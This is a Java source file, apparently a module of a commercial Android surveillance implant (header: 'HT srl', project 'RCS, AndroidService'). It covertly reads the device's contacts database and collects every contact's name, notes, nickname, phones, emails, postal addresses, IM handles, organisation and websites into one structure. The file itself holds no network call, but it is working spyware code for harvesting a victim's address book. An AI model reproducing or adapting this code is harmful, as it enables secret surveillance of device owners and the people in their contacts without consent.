/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : PickContact.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.module.task; import java.util.Hashtable; import android.content.ContentResolver; import android.database.Cursor; import android.provider.BaseColumns; import android.provider.ContactsContract; import android.provider.ContactsContract.CommonDataKinds.Email; import android.provider.ContactsContract.CommonDataKinds.Nickname; import android.provider.ContactsContract.CommonDataKinds.Note; import android.provider.ContactsContract.CommonDataKinds.Phone; import com.android.dvci.Status; public class PickContact { private static final String TAG = "PickContact"; //$NON-NLS-1$ private void addUserPhones(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { final long userId = cursor.getLong(cursor.getColumnIndex(BaseColumns._ID)); final long hasPhone = cursor.getLong(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)); if (hasPhone > 0) { final String phoneWhere = Phone.CONTACT_ID + " = ? "; //$NON-NLS-1$ final String[] phoneWhereParams = new String[] { userId + "" }; //$NON-NLS-1$ final Cursor phoneCursor = cr.query(Phone.CONTENT_URI, null, phoneWhere, phoneWhereParams, null); while (phoneCursor.moveToNext()) { final int phoneType = phoneCursor.getInt(phoneCursor.getColumnIndex(Phone.TYPE)); final String phoneValue = phoneCursor.getString(phoneCursor.getColumnIndex(Phone.NUMBER)); if (contacts.containsKey(userId)) { Contact contact = contacts.get(userId); contact.add(new PhoneInfo(userId, phoneType, phoneValue)); } } phoneCursor.close(); } } private void addUserEmails(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { final long userId = cursor.getLong(cursor.getColumnIndex(BaseColumns._ID)); final Cursor emailCur = cr.query(Email.CONTENT_URI, null, Email.CONTACT_ID + " = ?", new String[] { userId //$NON-NLS-1$ + "" }, null); //$NON-NLS-1$ while (emailCur.moveToNext()) { final String email = emailCur.getString(emailCur.getColumnIndex(Email.DATA)); final int emailType = emailCur.getInt(emailCur.getColumnIndex(Email.TYPE)); if (contacts.containsKey(userId)) { Contact contact = contacts.get(userId); contact.add(new EmailInfo(userId, emailType, email)); } } emailCur.close(); } private void addUserInfos(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { String userNote = null; String userNickName = null; final String userName = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); final long userId = cursor.getLong(cursor.getColumnIndex(BaseColumns._ID)); final String noteWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE //$NON-NLS-1$ + " = ?"; //$NON-NLS-1$ final String[] noteWhereParams = new String[] { userId + "", Note.CONTENT_ITEM_TYPE }; //$NON-NLS-1$ final Cursor noteCur = cr.query(ContactsContract.Data.CONTENT_URI, null, noteWhere, noteWhereParams, null); if (noteCur.moveToFirst()) { userNote = noteCur.getString(noteCur.getColumnIndex(ContactsContract.CommonDataKinds.Note.NOTE)); } noteCur.close(); final String nickNameWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " //$NON-NLS-1$ + ContactsContract.Data.MIMETYPE + " = ?"; //$NON-NLS-1$ final String[] nickNameWhereParams = new String[] { userId + "", Nickname.CONTENT_ITEM_TYPE }; //$NON-NLS-1$ final Cursor nickCursor = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, nickNameWhere, nickNameWhereParams, null); if (nickCursor.moveToFirst()) { userNickName = nickCursor.getString(nickCursor .getColumnIndex(ContactsContract.CommonDataKinds.Nickname.NAME)); } nickCursor.close(); contacts.put(userId, new Contact(new UserInfo(userId, userName, userNote, userNickName))); } private void addUserPA(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { final long userId = cursor.getLong(cursor.getColumnIndex(BaseColumns._ID)); final String addrWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE //$NON-NLS-1$ + " = ?"; //$NON-NLS-1$ final String[] addrWhereParams = new String[] { userId + "", //$NON-NLS-1$ ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_ITEM_TYPE }; final Cursor addrCur = cr.query(ContactsContract.Data.CONTENT_URI, null, addrWhere, addrWhereParams, null); while (addrCur.moveToNext()) { final String poBox = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.POBOX)); final String street = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.STREET)); final String city = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.CITY)); final String state = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.REGION)); final String postalCode = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.POSTCODE)); final String country = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.COUNTRY)); final String neighbor = addrCur.getString(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.NEIGHBORHOOD)); final int type = addrCur.getInt(addrCur .getColumnIndex(ContactsContract.CommonDataKinds.StructuredPostal.TYPE)); if (contacts.containsKey(userId)) { Contact contact = contacts.get(userId); contact.add(new PostalAddressInfo(userId, type, street, poBox, neighbor, city, state, postalCode, country)); } } addrCur.close(); } private void addUserIm(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { final long userId = cursor.getLong(cursor.getColumnIndex(BaseColumns._ID)); final String imWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE //$NON-NLS-1$ + " = ? "; //$NON-NLS-1$ final String[] imWhereParams = new String[] { userId + "", //$NON-NLS-1$ ContactsContract.CommonDataKinds.Im.CONTENT_ITEM_TYPE }; final Cursor imCursor = cr.query(ContactsContract.Data.CONTENT_URI, null, imWhere, imWhereParams, null); while (imCursor.moveToNext()) { final int imType = imCursor.getInt(imCursor.getColumnIndex(ContactsContract.CommonDataKinds.Im.PROTOCOL)); final String imValue = imCursor .getString(imCursor.getColumnIndex(ContactsContract.CommonDataKinds.Im.DATA)); if (contacts.containsKey(userId)) { Contact contact = contacts.get(userId); contact.add(new ImInfo(userId, imType, imValue)); } } imCursor.close(); } private void addUserOrg(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { final int userId = cursor.getInt(cursor.getColumnIndex(BaseColumns._ID)); final String orgWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE //$NON-NLS-1$ + " = ? "; //$NON-NLS-1$ final String[] orgWhereParams = new String[] { userId + "", //$NON-NLS-1$ ContactsContract.CommonDataKinds.Organization.CONTENT_ITEM_TYPE }; final Cursor orgCursor = cr.query(ContactsContract.Data.CONTENT_URI, null, orgWhere, orgWhereParams, null); while (orgCursor.moveToNext()) { final String companyName = orgCursor.getString(orgCursor .getColumnIndex(ContactsContract.CommonDataKinds.Organization.DATA)); final String companyTitle = orgCursor.getString(orgCursor .getColumnIndex(ContactsContract.CommonDataKinds.Organization.TITLE)); final int type = orgCursor.getInt(orgCursor .getColumnIndex(ContactsContract.CommonDataKinds.Organization.TYPE)); if (contacts.containsKey(userId)) { Contact contact = contacts.get(userId); contact.add(new OrganizationInfo(userId, type, companyName, companyTitle)); } } orgCursor.close(); } private void addUserWebsite(ContentResolver cr, Cursor cursor, Hashtable<Long, Contact> contacts) { final long userId = cursor.getInt(cursor.getColumnIndex(BaseColumns._ID)); final String websiteWhere = ContactsContract.Data.CONTACT_ID + " = ? AND " + ContactsContract.Data.MIMETYPE //$NON-NLS-1$ + " = ? "; //$NON-NLS-1$ final String[] websiteWhereParams = new String[] { userId + "", //$NON-NLS-1$ ContactsContract.CommonDataKinds.Website.CONTENT_ITEM_TYPE }; final Cursor webCursor = cr.query(ContactsContract.Data.CONTENT_URI, null, websiteWhere, websiteWhereParams, null); while (webCursor.moveToNext()) { final String websiteName = webCursor.getString(webCursor .getColumnIndex(ContactsContract.CommonDataKinds.Website.URL)); if (contacts.containsKey(userId)) { Contact contact = contacts.get(userId); contact.add(new WebsiteInfo(userId, websiteName)); } } webCursor.close(); } public Hashtable<Long, Contact> getContactInfo() { final ContentResolver cr = Status.getAppContext().getContentResolver(); Hashtable<Long, Contact> contacts = new Hashtable<Long, Contact>(); final Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); final int size = cursor.getCount(); while (cursor.moveToNext()) { addUserInfos(cr, cursor, contacts); addUserEmails(cr, cursor, contacts); addUserPA(cr, cursor, contacts); addUserPhones(cr, cursor, contacts); addUserIm(cr, cursor, contacts); addUserOrg(cr, cursor, contacts); addUserWebsite(cr, cursor, contacts); } cursor.close(); return contacts; } }